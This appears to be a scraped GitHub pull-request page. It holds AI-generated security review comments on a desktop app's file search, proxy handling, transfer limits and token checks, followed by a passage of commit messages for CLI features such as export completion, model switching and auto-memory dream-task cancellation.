Distinct class from @wenshao's #5 (READ_IMAGE/WRITE_IMAGE use a caller-supplied workspaceId then startsWith containment) and his #11 (GET_FILES/WATCH_FILES resolve by global sessionId): here, the protocol has no workspaceId at all.

Impact: A remote thin-client (or local-renderer-via-XSS chain with window-manager.ts:181 + icon-cache.ts:709) can call searchFiles('/', 'id_rsa') and receive matching paths anywhere on the server filesystem. Locate ~/.ssh/id_rsa, ~/.aws/credentials, id_*.kdbx, etc. by name even outside the active workspace. The 50-result cap doesn't help — attacker issues many narrow queries.

Fix: Resolve ctx.workspaceId (refuse if missing); validate basePath is contained within getWorkspaceAllowedDirs(workspaceId) via validateFilePath before any readdir. The skip-list of dot-files / node_modules-style dirs is not access control.

— claude-opus-4-7 via Claude Code /qreview

return {
mode: 'fixed_servers',
proxyRules: rules.join(';'),
proxyBypassRules: settings.noProxy

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Missing implicit loopback bypass — embedded server traffic can leak through corporate proxy.

Neither side auto-bypasses 127.0.0.1/localhost/::1:

  • Electron side: buildElectronProxyConfig builds proxyBypassRules only from splitCommaSeparated(settings.noProxy) (line 160-162). Chromium does not auto-add loopback when an explicit bypass list is set.
  • Node side: ProtocolProxyDispatcher.dispatch (line 50-73) consults only parseNoProxyRules/shouldBypassProxy (network-proxy-utils.ts:75-110).

The embedded RPC server runs at ws://127.0.0.1:<port> (packages/desktop/packages/server-core/src/transport/server.ts) carrying a bearer token. With a corporate/MITM proxy and no explicit localhost,127.0.0.1 in noProxy, those handshakes (and any fetch() from main to the embedded server) traverse the proxy.

Impact: Embedded server's WebSocket auth token + RPC payloads (session bundles, file paths, in-message secrets) leak to the configured proxy.

Fix: Always prepend loopback rules. Electron: proxyBypassRules: ['<-loopback>', settings.noProxy].filter(Boolean).join(';') (Chromium's <-loopback> literal disables the implicit-loopback override). Node: in parseNoProxyRules, fold an implicit 127.0.0.1, localhost, ::1, *.localhost so loopback is always treated as bypassed regardless of user input. Add a test that confirms 127.0.0.1 is bypassed regardless of noProxy content.

— claude-opus-4-7 via Claude Code /qreview

noProxy?: string;
}) {
super();
this.httpProxy = opts.httpProxy ? new ProxyAgent(opts.httpProxy) : null;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Bad-proxy-URL credentials may leak via Sentry on TypeError.

new ProxyAgent(opts.httpProxy) (line 44-45) is called synchronously inside the dispatcher constructor, which runs from applyConfiguredProxySettings() at startup (line 170, typically invoked as void applyConfiguredProxySettings()). When the persisted URL is malformed (e.g. legacy stored config like http://user:pass@bad[), undici's internal new URL(opts.uri) throws TypeError: Invalid URL whose .input property contains the raw URL — credentials included. The rejection lands in the global unhandledRejection handler → Sentry.captureException(reason) serializes the entire Error, including non-standard input field.

Impact: Proxy credentials embedded in a malformed URL exfiltrated to Sentry on every app launch.

Fix: In ProtocolProxyDispatcher's constructor, wrap each new ProxyAgent(...) in try/catch; on failure, log a redacted message (strip userinfo via URL parsing) and treat the proxy as unset. Or pre-validate via validateProxyUrl(...) (already imported by the renderer settings UI) inside applyConfiguredProxySettings before constructing the dispatcher.

— claude-opus-4-7 via Claude Code /qreview

* Custom undici Dispatcher that routes requests through proxy agents based on protocol,
* bypasses proxied destinations listed in NO_PROXY rules, and falls back to a direct Agent.
*/
class ProtocolProxyDispatcher extends Dispatcher {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] ProtocolProxyDispatcher class has zero tests.

Existing __tests__/network-proxy.test.ts only covers parseNoProxyRules/shouldBypassProxy from the sibling utils file — none of the dispatch routing, ?? fall-through (HTTPS URL with httpsProxy=null falling back to httpProxy), HTTP-only branch (which intentionally must NOT use httpsProxy), or close()/destroy() lifecycle is asserted.

Bug classes uncovered:

  1. HTTP-to-HTTPS proxy mis-routing — line 64-66 chooses by url?.startsWith('https:'). A regression that defaults to httpsProxy when URL is undefined would send HTTP requests through HTTPS-only proxy (auth header leak / 502s).
  2. Resource leak across reconfigure — currentProxyDispatcher.close().catch(() => {}) (line 98) is fire-and-forget; if close() no longer cascades to all three underlying agents, sockets accumulate every time the user toggles proxy settings.
  3. NO_PROXY bypass becomes unreachable — if branch order changes, NO_PROXY entries get silently ignored.

Fix: Export ProtocolProxyDispatcher (currently module-private). Add __tests__/network-proxy-dispatcher.test.ts with stub agents (subclass Dispatcher with a recording dispatch()) verifying: HTTP→http stub routing, HTTPS+httpsProxy-unset→http stub fall-through, NO_PROXY bypass routes to direct stub, await dispatcher.close() cascades to all three agents.

— claude-opus-4-7 via Claude Code /qreview

}

export function registerTransferHandlers(server: RpcServer): void {
server.handle(RPC_CHANNELS.transfer.START, async (ctx, opts: {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] transfer:START accepts unbounded chunkCount / totalBytes → tmpdir DoS.

Validates chunkCount >= 1 and totalBytes >= 0 but no upper bound. A malicious client can send chunkCount=10_000_000, totalBytes=10**12, then upload chunks until os.tmpdir() is full (per-chunk size also uncapped — line 161 only checks data.length > 0). The 5-min TTL keeps in-flight transfers on disk that long. There's also no per-client active-transfer cap, so a single client can hold thousands of craft-transfer-{uuid} directories.

Impact: Authenticated thin-client (or local-renderer-via-XSS) can fill /tmp, hanging the embedded server and any tmpdir-sharing process. Service DoS on shared/multi-user hosts.

Fix:

  • Reject totalBytes > MAX_TRANSFER_SIZE (e.g. 500 MB), chunkCount > MAX_CHUNKS (e.g. ceil(MAX_TRANSFER_SIZE / CHUNK_SIZE)).
  • Track active transfers per ctx.clientId in a Map; reject when a client has more than e.g. 4 in-flight.
  • Bound chunk size in transfer:CHUNK to ~1.5× CHUNK_SIZE after base64 expansion.

— claude-opus-4-7 via Claude Code /qreview

host: rpcHost,
port: rpcPort,
requireAuth: true,
validateToken: async (t) => t === serverToken,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Bearer-token comparison t === serverToken is not timing-safe.

V8 string === short-circuits at the first mismatched character. UUIDv4 (~122 bits entropy) is hard to recover over the wire, but on loopback or LAN where jitter is sub-millisecond, per-character timing leaks.

Impact: Theoretical token recovery in low-jitter conditions. Not near-term exploitable, but an avoidable cryptographic flaw given that validateToken is the only auth gate for the embedded server.

Fix:

Suggested change
validateToken: async (t) => t === serverToken,
validateToken: async (t) => {
if (typeof t !== 'string' || t.length !== serverToken.length) return false
return crypto.timingSafeEqual(Buffer.from(t, 'utf8'), Buffer.from(serverToken, 'utf8'))
},

(Add import * as crypto from 'node:crypto' at the top.)

— claude-opus-4-7 via Claude Code /qreview

shenyankm and others added 22 commits May 8, 2026 17:33
* feat(cli): improve export format completion navigation

* fix(cli): address PR #3701 review feedback on /export completion

Critical:
- Guard phase-2 cycling by checking buffer text starts with "/export "
  so a manually edited buffer is never clobbered by stale nav state (C1)
- Derive export format suggestions from slashCommands.subCommands to
  keep a single source of truth with the command registry (C2)
- Reset completionSelectionWasNavigatedRef on showSuggestions rising
  edge instead of on every suggestions change to avoid a race where
  an already-navigated selection is forgotten before Enter (C3)
- Add regression tests for isPerfectMatch + navigated + Enter,
  including the positive path and a control case (C4)

Suggestions:
- Prefix-guard getExportFormatFromInput to skip regex on non-/export
  input (S1)
- Drop trailing space from setExportCompletionInput output so buffer
  text is no longer implicitly coupled to the cycling heuristic (S2)
- Document the two-phase state machine (one-shot fill + cycling) (S3)
- Accept Tab as an additional cycling key alongside Up/Down (S4)
- Remove the unconditional ref reset at the tail of handleInput;
  correctness is now guaranteed by the buffer-text guard (C1) and
  the showSuggestions edge-triggered useEffect (C3) (S5)

* fix(cli): tighten export completion cycling guard and unify Tab behavior

- Phase 2 cycling guard: replace startsWith('/export ') with strict
  getExportFormatFromInput() to prevent overwriting inputs with extra
  arguments (e.g. '/export html --verbose').
- ACCEPT_SUGGESTION in Phase 1 popup: add hasExportFormatSuggestions
  branch so Tab/Enter seeds exportCompletionSelectionIndexRef,
  allowing Phase 2 cycling to continue from the selected format
  (consistent with Up/Down arrow behavior).
- Add 4 regression tests: Phase 1 Up wrap, Phase 2 Up wrap, Tab
  seed + Phase 2 Tab cycle, guard prevents overwriting extra args.

Ref: PR #3701 second-round review by wenshao

* fix(cli): address PR #3701 third-round review feedback on /export completion

- S6: use dynamic exportFormatSuggestions.findIndex() for highlight index
  instead of static EXPORT_FORMAT_COMPLETIONS.indexOf()
- S7: derive Phase 2 cycling current index from buffer text via
  getExportFormatFromInput + indexOf, with defensive ref fallback
- S8: extract getNextExportCompletionIndex as module-level pure function;
  cache exportCycleFormats via useMemo to avoid per-keystroke .map()
- S9/S10: add tests for ESC and Ctrl+C reset of export cycling state

* fix(cli): tighten /export prefix guard, add superset matching fallthrough, and improve documentation

* fix(cli): address review #4224860127 - smaller notes optimization

- S1: Strengthen EXPORT_FORMAT_COMPLETIONS fallback comment with
  an IMPORTANT sync warning for format removals
- S2: De-export getExportFormatFromInput (no external consumers)
- S3: Add intermediate buffer-clear assertion after Ctrl+U in test
  to pin state and prevent false positives from future hook changes

* refactor(cli): extract export completion into useExportCompletion hook

Address all feedback from PR #3701 review comment:
- Extract ~310 lines of /export state machine from InputPrompt into
  dedicated useExportCompletion hook
- Replace exportCompletionSelectionIndexRef (number|null) with
  cyclingActiveRef (boolean) since index was never read
- Simplify navigated-flag lifecycle: reset on buffer.text changes
  instead of popup visibility transitions; add navigatedTextRef
  snapshot to prevent sticky autocomplete after buffer edits
- Remove static EXPORT_FORMAT_COMPLETIONS fallback; derive entirely
  from slashCommands.subCommands
- Aggregate 4 parallel ternaries into single suggestionDisplayProps
- Add regression test: navigate + backspace + retype + Enter
  should submit raw buffer, not autocomplete
- Remove redundant navigatedRef reset in ESC handler (already
  covered by exportCompletion.reset())

* fix(cli): guard export completion state
#3783)

* Add ability to switch models non-interactively from the cli

This fulfills request #3410

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Revert "Update packages/cli/src/ui/commands/modelCommand.ts"

This reverts commit 7b49c44.

* Protect against empty model name; align non-interactive behavior

Empty model names are now ignored. ```/model ``` (with trailing whitespace) will still open the interactive model picker.

Realigned the non-interactive path to use the same ```args.trim().split(' ')[0]``` logic. Valid model IDs can not contain spaces anyway. If preferred, this specific change can be reverted and the new code can use the old logic instead.

* Warn if model is not in registry

* Update command description

* Updated modelCommand test to reflect new description

* Implement auto-complete with model IDs

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Update packages/cli/src/ui/commands/modelCommand.ts

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>

* Revert "Update packages/cli/src/ui/commands/modelCommand.ts"

This reverts commit 0600b23.

* Update modelCommand.ts

* Update modelCommand.ts

* Update modelCommand.ts

* Update/use i18n keys

* Corrected en i18n

* removed redundant .trim() on modelName check

---------

Co-authored-by: Shaojin Wen <shaojin.wensj@alibaba-inc.com>
* feat(weixin): add image sending support via CDN upload

* fix(weixin): address PR review — path validation, encoding, timeout, error handling

Critical fixes from wenshao's review of feat/weixin-image-send:

1. File read vulnerability: add validateImagePath() in send.ts with
   directory allowlist, extension filter, magic-byte check, 20MB cap,
   and realpath resolution. Pass workspace cwd as allowed dir.

2. aes_key encoding: change from base64(hex-ascii) to base64(raw 16B)
   to match the protocol expectation (images use raw bytes, not hex).

3. uploadToCdn timeout: add AbortController + 40s timeout per retry
   attempt to prevent hanging on stalled CDN connections.

4. Unhandled rejection: wrap fallback sendText() in catch block with
   its own try/catch to prevent process crash on double failure.

5. Default instructions merge: append image capability guide when
   custom instructions lack [IMAGE:], instead of silently dropping it.

6. Dead code: remove unused imagePaths parameter from sendMessage().

7. Regex hardening: strip code blocks before [IMAGE:] extraction,
   filter empty paths to prevent confusing readFileSync('') errors.

8. URL validation: reject http:// URLs and validate CDN hostname in
   uploadToCdn (SSRF prevention).

Tests: replace identity mock with real encryptAesEcb/computeMd5 so
padding mismatches are caught; fix partial node:crypto mock.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(weixin): address 2nd round PR review — 10 issues

Critical fixes:
1. detectImageMime: add JPEG magic bytes (0xFF 0xD8 0xFF), throw on
   unrecognized format instead of defaulting to image/jpeg
2. getUploadUrl retry: pass errcode to WeixinApiError, add ret field
   check in isRetryableError so actual API errors trigger retries
3. ALLOWED_DIRS: add realpathSync('/tmp/') and realpathSync(tmpdir())
   to handle macOS symlink resolution (/tmp → /private/tmp)
4. [IMAGE:] stripping: only replace markers that were actually parsed,
   preserving [IMAGE:] inside code blocks in displayed text
5. TOCTOU fix: use openSync/readSync(16B) for magic-byte check instead
   of reading the entire file twice
6. sendMessage: check both ret and errcode fields for error detection

Suggestions:
7. connect(): avoid mutating this.config.instructions on reconnect
8. Fix duplicate Step 2 comment numbering
9. Replace errcode=${undefined} with errcode=${resp.errcode ?? '(none)'}
10. stderr: log structured (status=, ret=) instead of raw errmsg

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

* fix(weixin): 3rd round PR review — errcode checks, error logging, timeout, path resolution

- api.ts: add errcode check in getUploadUrl (align with sendMessage)
- api.ts: pass ret/errcode from CDN error to WeixinApiError
- send.ts: resolve workspace dirs with realpathSync
- WeixinAdapter.ts: include errcode and err.message in error log
- media.ts: add 40s timeout to downloadAndDecrypt fetch
- send.test.ts: add 12 tests covering detectImageMime and validateImagePath error branches

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>

---------

Co-authored-by: Maidong <408097061@qq.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
* fix(core): activate skills from discovered result paths
* fix(core): address result path review feedback
* fix(core): handle grep result path edge cases
* fix(core): trust fallback grep result paths
Fixes #3765. Side queries (session recap, title generation, tool-use summary) running on the fast model previously inherited the main model's ContentGeneratorConfig, leaking extra_body / samplingParams / reasoning between models.

GeminiClient.generateContent() now resolves the target model's own config via buildAgentContentGeneratorConfig() when the requested model differs from the main model, and creates a dedicated ContentGenerator (cached, cleared on resetChat). Cross-authType resolution lets the fast model live under a different provider than the main model. Uses the target model's authType for retry logic so provider-specific checks (e.g. QWEN_OAUTH quota detection) reference the correct provider. Falls back to the main generator if the model is not in the registry.
* fix(core): prevent auto-memory recall from blocking main request (issue #3759)

The auto-memory recall side-query had a 5s AbortSignal.timeout that fired
on every turn, and the main request path awaited the full recall promise
(including timeout + heuristic fallback). This caused a ~5s delay on every
user turn.

Changes:
- relevanceSelector.ts: reduce model-driven selector timeout from 5s to 2s
- client.ts: add resolveAutoMemoryWithDeadline() that races the recall
  promise against a 2.5s deadline, returning empty result if recall
  hasn't completed in time
- client.test.ts: add 2 tests verifying slow recall doesn't block the
  main request and fast recall still includes memory content

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(test): remove stripThoughtsFromHistory from GeminiChat mocks

stripThoughtsFromHistory was removed from GeminiChat on main.
The mock in client.test.ts still referenced it, causing TS2353 build failures in CI.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(core): address PR #3814 review comments on auto-memory recall deadline

Three changes from the review:

1. clearTimeout leak — The setTimeout in resolveAutoMemoryWithDeadline is
   now cleared in a finally block so the dangling timer doesn't block the
   Node.js event loop from draining during graceful process exit.

2. Telemetry inflation — An AbortController is created before the recall
   call and aborted when the 2.5s deadline fires. Its signal is passed into
   the recall pipeline via a new optional abortSignal field on
   ResolveRelevantAutoMemoryPromptOptions. All three logMemoryRecall calls
   in recall.ts are gated behind !options.abortSignal?.aborted so discarded
   results don't emit success metrics.

3. Test coverage — Added a test for the !promise guard path
   (getManagedAutoMemoryEnabled() returns false) verifying sendMessageStream
   completes without calling recall or injecting memory content.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(core): address PR #3814 review findings for auto-memory recall

Critical fixes:
- Wrap onDeadline() in try/finally inside resolveAutoMemoryWithDeadline so
  resolve() always runs even if onDeadline() throws, preventing deadlock
- Forward caller abortSignal through recall() → selectRelevantAutoMemoryDocumentsByModel
  → runSideQuery, combined with the existing 2s timeout via AbortSignal.any()
  so the model API call is cancelled when the 2.5s deadline fires
- Abort and clear pendingRecallAbortController on all early return paths
  (MaxSessionTurns, BoundedTurns=0, SessionTokenLimitExceeded, Arena control signal)
- Rename _pendingRecallAbortController → pendingRecallAbortController
  (inconsistent underscore prefix)

Tests added:
- client.test.ts: verify sendMessageStream completes normally when recall rejects
- relevanceSelector.test.ts: verify caller abort signal is forwarded combined with timeout,
  and timeout-only signal when no caller signal provided

* fix(core): start auto-memory recall deadline at initiation time

Moves the resolveAutoMemoryWithDeadline() race from consumption time to
initiation time so the 2.5s budget is not consumed by intermediate work
(microcompact, compression, token checks, IDE context) between recall
initiation and consumption. The raced promise is stored directly in
relevantAutoMemoryPromise and simply awaited at consumption.

The pendingRecallAbortController cleanup on early return paths is
preserved unchanged.

* fix(core): address PR #3814 review feedback

- resetChat(): abort pendingRecallAbortController so stale in-flight recall
  does not leak into the next session.
- recall.ts catch: distinguish AbortError (deadline-triggered cancellation)
  from real model errors. AbortError logs at debug level with a message
  indicating the heuristic result was discarded. Real model errors continue
  to log at warn with the existing fallback message.

* fix(core): address PR #3814 round 3 review feedback

- Use explicit undefined check instead of non-null assertion for timer in
  resolveAutoMemoryWithDeadline (clearTimeout)
- Gate heuristic fallback in recall.ts on abortSignal.aborted so discarded
  results after the deadline don't produce output
- Downgrade AbortError log level from warn to debug in the client.ts recall
  catch block, keeping the warn channel meaningful for real failures
- Add tests verifying pendingRecallAbortController.abort() is called on
  MaxSessionTurns and SessionTokenLimitExceeded early-return paths

Co-Authored-By: Claude <noreply@anthropic.com>

* test(core): assert abort propagation in relevance selector

* fix(lint): remove unused eslint-disable directive in relevanceSelector.test.ts

The import/no-internal-modules eslint-disable comment was unnecessary —
the rule does not flag same-package imports like ../utils/sideQuery.js.
ESLint 9 reports it as an unused directive, failing the CI lint check.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* feat(cli): surface auto-memory dream tasks in Background tasks dialog

Adds `dream` as a fourth kind in the Background tasks pill + dialog,
alongside agent / shell / monitor. Subscribes to MemoryManager via
its existing subscribe() / listTasksByType() API and adapts
MemoryTaskRecord into a DreamDialogEntry view-model. Zero changes
to the core package.

Filters out `pending` (sub-second transition) and `skipped` (every
UserQuery that misses the gate creates one) records. Caps retained
terminal entries at 3 since `MemoryManager.tasks` has no eviction
path; without the cap, completed dreams would accumulate over the
project's lifetime (mirrors MonitorRegistry's terminal cap pattern).

Extract tasks are intentionally NOT surfaced — they fire on every
UserQuery, would flood the pill, and the `memory_saved` toast in
useGeminiStream already covers their completion signal.

Read-only for now: cancellation requires MemoryManager.cancelTask
+ task_stop integration which lands in a follow-up PR. The dialog
suppresses the "x stop" hint for dream entries until then to avoid
silent no-op keystrokes.

Refs #3634

* docs(cli): rephrase dream filter comment to focus on extract vs dream

The earlier comment compared the design to a non-qwen-code product;
restate the rationale in terms of the local extract / dream split
(extract fires every UserQuery and surfaces via memory_saved toast,
dream fires after gates and warrants pill / dialog visibility).

* feat(core,cli): cancel dream consolidation tasks via dialog and task_stop

Wires cancellation for the auto-memory dream task kind:

- `MemoryManager.cancelTask(taskId)` — aborts the dream's fork-agent
  via a new per-task AbortController, marks the record `cancelled`
  before aborting so the runDream catch path can detect user-intent
  and avoid overwriting with a generic `failed`. The existing
  finally block releases the consolidation lock as the agent unwinds.
- `MemoryManager.getTask(id)` — point lookup helper so cross-cutting
  consumers like `task_stop` can route by id without a project root.
- AbortSignal threaded through `scheduleDream` → `runDream` →
  `runManagedAutoMemoryDream` → `planManagedAutoMemoryDreamByAgent`
  → `runForkedAgent.abortSignal` (already supported).
- `task_stop` tool gets a 4th dispatch branch: dream task ids look
  up via MemoryManager and route through `cancelTask`. Extract is
  intentionally NOT cancellable — it runs synchronously on the
  request loop, cancelling would interfere with the user's own turn.
- `BackgroundTasksDialog` x-stop hint suppression for dream is removed
  (was a PR-1 placeholder); `cancelSelected` dream branch now calls
  `memoryManager.cancelTask`.
- `MemoryTaskStatus` gains `'cancelled'`. Dream view-model widens
  status union and filter to surface cancelled entries (terminal
  cap continues to apply).

Refs #3634

* fix(core,cli): address review feedback on dream cancellation surface

- DreamDetailBody: comment said cancellation "lands in PR-2" but the
  same PR wires `cancelSelected` for dream entries. Reword to describe
  what's actually shipped + flag in-flight progress as the real
  follow-up.
- task_stop: drop the unreachable `!aborted` error branch. The status
  guard above already confirms `running`, and `cancelTask` is
  synchronous; in this branch it cannot return false.

* fix(core): handle resolved-cancel path from runForkedAgent for dream tasks

runForkedAgent maps AgentTerminateMode.CANCELLED to a resolved
{status: 'cancelled'} result rather than rejecting. The cancel-via-
task_stop path landed in the previous commit assumed the call would
throw — when it didn't, the runDream success path overwrote the
user-cancelled record with 'completed' AND bumped lastDreamAt
metadata, suppressing the next legitimate dream cycle.

Two-layer defense:

- dreamAgentPlanner now rethrows when the fork agent reports
  cancelled status (mirrors the existing failed-status throw).
  This is the source-of-truth fix.

- runDream now checks abortSignal.aborted after the await as
  defense in depth. If anything in the call chain ever forgets to
  propagate, this guard short-circuits the success path before
  metadata write.

Updates the existing dreamAgentPlanner test that previously pinned
the buggy "returns cancelled without throwing" behavior. Adds a
manager test that simulates the resolves-on-abort scenario directly
to verify the consumer-side guard catches anything the planner
might miss.

* fix(core,cli): address review feedback on dream UX, perf, and comment clarity

Three fixes from the post-cancellation-PR review:

- scheduleDream now sets an initial `progressText` ("Scheduled
  managed auto-memory dream.") on the in-flight record. Without
  this, the dialog Detail's Progress section stayed empty until
  completion — the PR description's mid-flight screenshot showed
  text that production never actually rendered.

- useBackgroundTaskView gates the MemoryManager.subscribe listener
  on a dream-content signature. The manager fires for every task
  transition (extract included, ~2x per UserQuery), but the dialog
  has no extract surface; without this dedup each extract notify
  forced a full 4-source re-merge + a fresh setEntries reference,
  re-rendering the dialog and pill on entries that hadn't changed.
  Added a test that pins the reference-stability invariant.

- task-stop comment was misleading — said "the status guard above
  already confirmed running", but for the dream branch the running
  check happens IN this branch (not earlier). Reworded.

* fix(core,cli): tighten cancelTask contract, dedup dream snapshot reads, sync test helper

Four fixes from the latest review pass:

- cancelTask() now enforces the AbortController invariant. The old
  `ac?.abort()` returned `true` even when no controller was found,
  meaning callers could see a successful return while the dream was
  not actually aborted (and would leak the consolidation lock until
  the agent finished naturally). The controller is registered
  synchronously alongside `status='running'`, so a missing controller
  for a running record is a contract violation — return false without
  flipping status so the caller knows the abort didn't take.

- useBackgroundTaskView's `refresh()` now reuses the dream snapshot
  the memory listener fetched for its dedup gate. The previous version
  re-read `listTasksByType('dream')` inside `computeDreamSig()` and
  again inside `refresh()` — extra work AND a race window where the
  gate signature could come from a different snapshot than the one
  used to build dreamEntries. Single read, single source of truth.

- The `dream()` test helper widened to include `'cancelled'` so it
  matches the production `MemoryTaskStatus` union. Added a small test
  asserting cancelled dreams flow through the kind discriminator (the
  dialog's terminal-cap window depends on showing the user the
  outcome of the abort they just triggered).

- Dropped the stale "PR-1 read-only / PR-2 cancellation" block
  comment above the dream-entries describe block — both are in this
  PR now.

* fix(core,cli): address self-review + Copilot feedback on dream surface

Combined fixes for the latest review pass — self-review notes (U1, U2,
U5, U6) plus Copilot's three new comments (C1, C2, C3):

- **Footer dream-indicator dedupe (U1)**: removed `useDreamRunning` +
  `✦ dreaming` right-column text. The new Background tasks pill
  already counts dream tasks alongside agent / shell / monitor;
  showing both produced two simultaneous signals for the same state.

- **task_stop dispatch surfaces extract distinctly (U2 + C1)**: a
  new `TASK_STOP_NOT_CANCELLABLE` error type fires when the task id
  resolves to a known-but-not-cancellable record (extract). Previously
  extract ids fell through to `NOT_FOUND`, misleading the model into
  thinking the id was never valid. Also surfaces the missing-controller
  case from `cancelTask` as an explicit error rather than reporting
  phantom success.

- **MemoryManager.cancelTask logs missing-controller violation (C2)**:
  the silent `return false` for the missing-AbortController case now
  emits a `debugLogger.warn` so the inconsistency is observable in
  debug bundles. Without the log a runaway dream burning tokens would
  leave no trail.

- **MemoryManager.subscribe taskType filter (C3)**: subscribers can
  now opt into per-type notify routing via `subscribe(fn, { taskType })`.
  Internal `notify()` calls pass the changed task's type so filtered
  consumers wake only on relevant transitions. The bg-tasks UI hook
  uses this to skip the per-UserQuery extract notify entirely — drops
  the per-extract O(n) signature work to zero.

- **runDream guards against late-cancel overwrite (U5)**: the
  success path now re-checks `abortSignal.aborted` between metadata
  read/write and before the final `update({status: 'completed'})`.
  Closes the ~tens-of-ms race window where `cancelTask` flipping
  status to `'cancelled'` would silently lose to the success
  continuation overwriting with `'completed'` + bumping
  `lastDreamAt`.

- **DreamDialogEntry.endTime semantic comment (U6)**: documents that
  `endTime` for cancelled records is the cancel-call moment (not the
  fork unwind), so a future maintainer doesn't treat it as a real
  fork-finish timestamp.

Tests: new `subscribe() taskType filter` describe block in manager,
new task_stop tests for `NOT_CANCELLABLE` (extract) and missing-
AbortController (dream); existing test renamed/widened.

* fix(core,cli): tighten error semantics + comments on dream surface

Four fixes from the latest review pass:

- New `TASK_STOP_INTERNAL_ERROR` error type for the missing-
  AbortController contract violation. Previously the dispatcher
  reused `TASK_STOP_NOT_RUNNING`, which is misleading — the task IS
  running, cancellation just couldn't be delivered. Distinct type
  signals "this is unexpected, file a bug" vs `NOT_CANCELLABLE`
  which signals "expected behavior, use a different approach".

- Reworded the `useBackgroundTaskView` filter comment. Said "every
  UserQuery that misses the gate creates one [skipped record]" but
  `scheduleDream` returns `{status: 'skipped'}` early without
  creating a record for most gate misses; only the
  acquireDreamLock/EEXIST race actually stores a `'skipped'` record.

- Strengthened the `subscribe() unsubscribe` test. The previous
  version asserted "not called yet" without firing any notify after
  unsubscribe, so a regression that left the listener attached
  would still pass. Now schedules an extract before AND after the
  unsubscribe, verifying the call count doesn't increment.

- Moved `const debugLogger = createDebugLogger(...)` below the
  full import block in manager.ts. Previous version sat between
  imports, violating eslint-plugin-import's `import/first` rule
  (didn't trip lint locally, but worth fixing before it does).

* fix(core): skip scheduleDream early when params.config is missing

`ScheduleDreamParams.config` is optional in the type so test paths
can omit it, but production callers always pass one. Without a
config, `runManagedAutoMemoryDream` throws because the fork-agent
execution requires it. With dream tasks now visible in the
Background tasks dialog, that throw becomes a noisy `failed` entry
the user sees but didn't trigger.

Convert the omitted-config case to the same `disabled` skip path
that an explicitly-disabled config takes, so a no-config call
short-circuits before any record is stored. Existing tests that
relied on the old "no config = proceed past the disabled gate"
behavior now pass an explicit `makeMockConfig()` (matching what
they would do in any realistic scenario).

New test pins the no-config skip behavior + asserts no record
was stored (so a regression that drops the early skip would
produce a visible failed entry in the dialog and fail the test).

* fix(core): plug subscribe Map leak + dream.ts late-cancel ordering bug

Two fixes from the latest review pass:

- `MemoryManager.subscribe`'s typed-branch unsubscribe deleted the
  listener from its per-type Set but left the empty Set sitting in
  `subscribersByType`. Over a long-running session with repeated
  React mount/unmount of the bg-tasks view, that accumulates dead
  Map entries forever. Drop the entry when the bucket goes empty.

- `runManagedAutoMemoryDream` writes metadata after the fork agent
  returns (`bumpMetadata` → `rebuildManagedAutoMemoryIndex` →
  `updateDreamMetadataResult`). If the user presses 'x' between the
  fork's success return and these writes, the writes proceed and
  bump `lastDreamAt` — leaving the visible UI ('Stopped') disagreeing
  with the scheduler gate (sees a recent successful dream and
  suppresses the next cycle). manager.ts already short-circuits its
  own metadata write via the post-await abort check, but it can't
  block writes that already happened inside dream.ts. Adds the same
  abort-signal check between each write step here.

* fix(core): swallow releaseDreamLock errors so they don't poison outcome

If `releaseDreamLock` throws inside the inner finally (e.g. filesystem
error on the lock file), the exception propagates to the outer catch
and overwrites a successfully-completed dream record with 'failed'.
The on-disk metadata is already up-to-date at that point, so the user
sees a contradictory state — `lastDreamAt` was bumped but the UI
shows a failure.

Wrap the release in a try/catch with `debugLogger.warn`. The lock
file is still cleaned up on the next session via the existing
staleness sweep, so swallowing the release error doesn't risk a
permanent stuck lock.

* fix(core): thread abortSignal into dream metadata writes

The pre-call abort checks in `runManagedAutoMemoryDream` close most
of the late-cancel race window, but each metadata helper itself does
read → mutate → write across two awaits. If the user cancels between
those two awaits the write still happens, persisting `lastDreamAt`
for an aborted run and suppressing the next legitimate dream cycle.

Thread `abortSignal` into `bumpMetadata` and
`updateDreamMetadataResult`; both now re-check between the read and
the write, returning early without persisting when the signal has
already fired. The pre-call checks remain as the first line of
defense; this guards the race that opens after the call enters.

* fix(core): close dream cancel race + surface lock-release failures

Two related fixes from the latest review pass:

- Move scheduler-gating metadata writes out of `runManagedAutoMemoryDream`
  and into `MemoryManager.runDream`, sequenced AFTER the
  status='completed' flip. The previous shape left a race window
  where cancellation arriving during/after `fs.writeFile` could
  persist `lastDreamAt` while the manager flipped status to
  'cancelled' — visible UI ('Stopped') would disagree with the
  scheduler gate (sees a recent successful dream), suppressing the
  next legitimate dream cycle. The new order makes the gating
